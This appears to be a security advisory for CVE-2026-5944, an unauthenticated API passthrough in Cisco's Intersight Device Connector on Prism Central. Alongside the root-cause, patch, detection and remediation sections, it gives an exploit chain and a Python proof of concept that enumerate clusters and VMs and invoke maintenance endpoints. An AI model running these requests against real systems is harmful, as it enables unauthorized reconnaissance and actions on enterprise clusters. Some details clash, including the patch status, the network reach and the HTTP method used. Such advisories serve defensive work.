CVE-2026-5944: Unauthenticated API Passthrough in Cisco Intersight Device Connector
The Intersight Device Connector for Nutanix Prism Central exposes an unauthenticated API passthrough on TCP/7373, permitting cluster enumeration and maintenance workflow invocation without credentials.
Cisco has discovered a serious security hole in software that connects company data centers to its cloud management platform. Think of it like leaving a side door to your office building unlocked — anyone on your network can walk in without needing a key or password.
Here's what's happening: The software is supposed to require authentication, meaning you need login credentials to access anything. But a hidden back door exists on a specific port (7373) that skips this requirement entirely. Anyone connected to the company network can use this to peek at sensitive information.
What can attackers see? They can discover details about virtual machines running on the company's infrastructure, learn how the system is configured, and map out the entire data center setup. It's like someone taking photos of your office floor plan and inventory without permission.
The risk level is rated as high (8.2 out of 10 on the severity scale). However, the attacker needs network access — they can't attack from the internet, only from inside your company's network or if they've already breached it. No active attacks have been confirmed yet.
Who should worry? This primarily affects large companies and enterprises using Cisco Intersight to manage Nutanix infrastructure. If that's your organization, this needs immediate attention.
What to do: First, contact your IT department and ask if your company uses this software. Second, ask whether patches have been applied — Cisco has released fixes. Third, if you work in IT, check whether that TCP port 7373 is unnecessarily exposed on your network and restrict access to trusted systems only. Don't wait on this one — the window between discovering a flaw and attackers exploiting it is shrinking.
Want the full technical analysis? Click "Technical" above.
CVE-2026-5944 is an improper access control vulnerability in the Cisco Intersight Device Connector (IDC) as deployed within Nutanix Prism Central. The Device Connector is a lightweight management agent that brokers communication between on-premises infrastructure and the Cisco Intersight SaaS platform. It exposes a local HTTP API on TCP port 7373 intended for internal orchestration use. On affected builds, this API surface is reachable from any host within the same network segment — with no authentication required.
An unauthenticated attacker with network adjacency can enumerate cluster topology, virtual machine inventory, and configuration metadata. More critically, certain cluster maintenance workflow endpoints — snapshot schedules, node health checks, cluster expansion pre-checks — can be invoked rather than merely read. CVSS 8.2 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L) reflects this combined read/limited-invoke surface.
Root cause: The Device Connector's internal API passthrough handler dispatches requests to the Nutanix Prism Central v3 REST API without validating whether the originating request carries a session token or originates from localhost, exposing the full passthrough surface to any network peer.
Affected Component
The Device Connector ships as a containerized service within Prism Central VMs. The vulnerable binary is dc_server, the Go-compiled HTTP server process listening on 0.0.0.0:7373. The passthrough endpoint is registered under the path prefix /api/v1/nc/passthrough/ and proxies outbound requests to the local Prism Central API gateway at 127.0.0.1:9440, injecting a pre-shared internal service credential stored in the connector's configuration store.
Key process details:
Process : dc_server
Listen : 0.0.0.0:7373 (TCP, no TLS on affected versions)
Binary : /home/nutanix/prism/dc/dc_server
Config : /home/nutanix/prism/dc/config/dc_config.json
Internal credential target: https://127.0.0.1:9440/api/nutanix/v3/
Root Cause Analysis
The dc_server binary registers HTTP handlers via a standard Go net/http router. The passthrough handler — reconstructed here as pseudocode from binary analysis — delegates all request routing decisions to a downstream function without first evaluating the presence or validity of any session token on the inbound request:
// Reconstructed pseudocode: dc_server passthrough handler
// Real symbol (Go): github.com/cisco/intersight/dc/server.(*APIServer).registerPassthroughRoutes
void registerPassthroughRoutes(APIServer *srv, *mux.Router router) {
// Registers handler for ALL methods under the passthrough prefix
router->HandleFunc("/api/v1/nc/passthrough/{proxy_path:.*}",
srv->passthroughHandler);
// BUG: no middleware chain attached here — authMiddleware is applied to
// all other route groups but is explicitly omitted for the passthrough
// subtree, presumably as a legacy convenience for internal tooling.
}
void passthroughHandler(APIServer *srv, http.ResponseWriter w, *http.Request r) {
proxy_path = mux_vars(r)["proxy_path"]; // attacker-controlled path component
method = r->Method; // attacker-controlled HTTP verb
body = r->Body; // attacker-controlled payload
// BUG: no call to validateSession(r) or checkSourceIP(r) here.
// All other handlers call srv->authMiddleware.ServeHTTP() before dispatch.
target_url = fmt_sprintf("https://127.0.0.1:9440/api/nutanix/v3/%s", proxy_path);
outbound_req = http_NewRequest(method, target_url, body);
// Injects the internally stored service credential — attacker receives
// a response authenticated as the DC service account.
outbound_req->Header_Set("Authorization",
fmt_sprintf("Basic %s", srv->config->InternalCredB64));
outbound_req->Header_Set("Content-Type", r->Header_Get("Content-Type"));
resp = srv->httpClient->Do(outbound_req); // proxied with full service-account privileges
// Response streamed directly back to unauthenticated caller
copy_headers(w, resp->Header);
w->WriteHeader(resp->StatusCode);
io_Copy(w, resp->Body);
}
The authMiddleware is applied as a grouped middleware in registerRoutes() for every other handler family (/api/v1/actions/, /api/v1/config/, /api/v1/claim/). The passthrough subtree was registered separately — likely to support a legacy integration path — and the middleware wrapper was never added.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies TCP/7373 open on any Prism Central VM IP within the network.
2. Send unauthenticated HTTP GET to enumerate VMs:
GET /api/v1/nc/passthrough/vms/list HTTP/1.1
Host: :7373
Content-Type: application/json
{"kind":"vm","length":500}
dc_server proxies to 127.0.0.1:9440 with internal Basic credential.
Response: full VM inventory (UUIDs, names, IP assignments, vCPU/RAM config).
3. Enumerate cluster configuration:
GET /api/v1/nc/passthrough/clusters/list
Returns node membership, AOS version, hypervisor type, CVM IPs.
4. Invoke maintenance workflow (e.g., trigger cluster health pre-check):
POST /api/v1/nc/passthrough/clusters//validate_migration_readiness
Executes a Nutanix v3 API action via the service credential — no user
interaction required, no authentication on the caller side.
5. (Escalation path) Cross-reference VM UUIDs + CVM IPs to pivot targeting
of CVEs requiring pre-knowledge of cluster topology (e.g., CVM-targeting
vulnerabilities requiring node UUIDs as input parameters).
A minimal proof-of-concept demonstrating the enumeration primitive:
#!/usr/bin/env python3
# CVE-2026-5944 — IDC passthrough enumeration PoC
# CypherByte research — for authorized testing only
import requests, json, sys, urllib3
urllib3.disable_warnings()
TARGET = sys.argv[1] # Prism Central IP
BASE = f"http://{TARGET}:7373/api/v1/nc/passthrough"
def passthrough_post(endpoint, payload):
r = requests.post(
f"{BASE}/{endpoint}",
json=payload,
headers={"Content-Type": "application/json"},
timeout=10,
verify=False
)
r.raise_for_status()
return r.json()
def passthrough_get(endpoint):
r = requests.get(f"{BASE}/{endpoint}", timeout=10, verify=False)
r.raise_for_status()
return r.json()
# Enumerate clusters
clusters = passthrough_post("clusters/list", {"kind": "cluster", "length": 50})
for c in clusters.get("entities", []):
meta = c.get("status", {}).get("resources", {})
print(f"[CLUSTER] name={c['status']['name']} "
f"uuid={c['metadata']['uuid']} "
f"nodes={meta.get('num_nodes')} "
f"aos={meta.get('software_map', {}).get('NOS', {}).get('version')}")
# Enumerate VMs
vms = passthrough_post("vms/list", {"kind": "vm", "length": 500})
for v in vms.get("entities", []):
nic_ips = [nic.get("ip_endpoint_list", [{}])[0].get("ip", "")
for nic in v.get("status", {}).get("resources", {})
.get("nic_list", [])]
print(f"[VM] name={v['status']['name']} "
f"uuid={v['metadata']['uuid']} "
f"power={v['status']['resources'].get('power_state')} "
f"ips={nic_ips}")
Memory Layout
This is an access control vulnerability rather than a memory corruption bug; there is no heap or stack corruption primitive. The relevant runtime state is the APIServer struct whose InternalCredB64 field is read unconditionally by the passthrough handler for every unauthenticated request:
// Reconstructed APIServer config struct (Go, 64-bit)
struct DCConfig {
/* +0x00 */ char *InternalCredB64; // base64(svc_user:svc_pass) injected into proxied reqs
/* +0x08 */ char *PrismEndpoint; // "https://127.0.0.1:9440"
/* +0x10 */ char *CloudEndpoint; // Intersight SaaS URL
/* +0x18 */ uint8_t TLSVerifyInternal; // typically 0 on affected builds (no cert pinning)
/* +0x20 */ char *DeviceID; // Intersight device identity string
/* +0x28 */ char *ClaimToken; // Intersight claim token (not exposed via passthrough)
};
struct APIServer {
/* +0x00 */ *mux.Router router;
/* +0x08 */ *http.Server httpSrv;
/* +0x10 */ *http.Client httpClient; // used for all outbound proxied calls
/* +0x18 */ *DCConfig config; // InternalCredB64 read here on every passthrough req
/* +0x20 */ *AuthMiddleware authMiddleware; // BUG: never wired to passthrough route group
};
REQUEST FLOW — UNAUTHENTICATED PASSTHROUGH:
[Attacker: any network host]
|
| HTTP GET /api/v1/nc/passthrough/vms/list (no session token)
v
[dc_server :7373]
|
| passthroughHandler() called directly — authMiddleware.ServeHTTP() NEVER invoked
| Reads srv->config->InternalCredB64
| Constructs: GET https://127.0.0.1:9440/api/nutanix/v3/vms/list
| Authorization: Basic
v
[Prism Central API Gateway :9440]
|
| Authenticates request as DC service account (valid internal credential)
| Returns full VM inventory JSON
v
[dc_server] streams response body back to attacker unmodified
Patch Analysis
The correct fix applies the existing authMiddleware to the passthrough route group and additionally restricts the allowed HTTP methods and path prefixes to a documented allowlist, preventing invocation of mutating endpoints even by authenticated internal consumers who should only require read access:
// BEFORE (vulnerable):
void registerPassthroughRoutes(APIServer *srv, *mux.Router router) {
router->HandleFunc("/api/v1/nc/passthrough/{proxy_path:.*}",
srv->passthroughHandler);
// BUG: authMiddleware not applied; all verbs forwarded without restriction
}
// AFTER (patched):
void registerPassthroughRoutes(APIServer *srv, *mux.Router router) {
// 1. Scope to authenticated subrouter — requires valid Intersight session token
authed_sub = router->PathPrefix("/api/v1/nc/passthrough/").Subrouter();
authed_sub->Use(srv->authMiddleware.Handler);
// 2. Restrict to read-only HTTP verbs on the passthrough surface
authed_sub->Methods("GET").
PathPrefix("{proxy_path:.*}").
HandlerFunc(srv->passthroughHandler);
// 3. Enforce path prefix allowlist — block direct invocation of
// maintenance/action endpoints through the passthrough path
// Allowlist: ["vms/list", "clusters/list", "hosts/list", "storage_containers/list"]
}
// ADDITIONALLY: passthroughHandler gains source validation
void passthroughHandler(APIServer *srv, http.ResponseWriter w, *http.Request r) {
proxy_path = mux_vars(r)["proxy_path"];
// New: reject any path not in the static read-only allowlist
if (!isAllowedPassthroughPath(proxy_path)) {
http_Error(w, "forbidden passthrough target", 403);
return;
}
// Existing proxy logic follows (now only reachable post-auth + allowlist) ...
}
Detection and Indicators
Look for unexpected HTTP traffic to TCP/7373 on Prism Central VM IPs originating from hosts that are not the Intersight cloud relay or designated management workstations:
NETWORK INDICATORS:
dst_port : 7373
dst_host : any Prism Central VM IP
proto : TCP / HTTP
path_regex: ^/api/v1/nc/passthrough/
src_ip : NOT in { Intersight cloud egress ranges, approved mgmt subnets }
HOST INDICATORS (Prism Central VM):
Process : dc_server
Log path : /home/nutanix/data/logs/dc_server.log
Suspicious log pattern:
"passthrough request" method=GET path=/vms/list src=
"passthrough request" method=POST path=/clusters//validate_migration_readiness
SNORT / SURICATA RULE:
alert tcp any any -> $PRISM_CENTRAL_HOSTS 7373 (
msg:"CVE-2026-5944 IDC Passthrough Probe";
flow:to_server,established;
content:"GET /api/v1/nc/passthrough/"; http_uri;
threshold:type both,track by_src,count 3,seconds 10;
sid:2026594401; rev:1;
)
Remediation
Primary: Apply the vendor patch for the Cisco Intersight Device Connector when released. Track the advisory via the Cisco Security Advisory portal.
Immediate mitigations (network controls):
Firewall TCP/7373 on all Prism Central VMs to permit inbound connections only from documented Intersight cloud egress IPs and designated management hosts. The Intersight cloud relay uses outbound connections from the DC; inbound on 7373 from arbitrary hosts is not required for normal operation.
Place Prism Central management VMs on a dedicated management VLAN with ACLs enforcing least-privilege access.
Audit /home/nutanix/data/logs/dc_server.log for passthrough requests originating from unexpected source IPs.
Verification: After applying network controls, confirm port is unreachable from non-management hosts:
# From a host that should NOT have access — expect connection refused / timeout:
curl -v --max-time 5 http://:7373/api/v1/nc/passthrough/clusters/list
# From a legitimate management host — expect 401 Unauthorized after patch:
curl -v http://:7373/api/v1/nc/passthrough/clusters/list
# Expected post-patch: HTTP/1.1 401 Unauthorized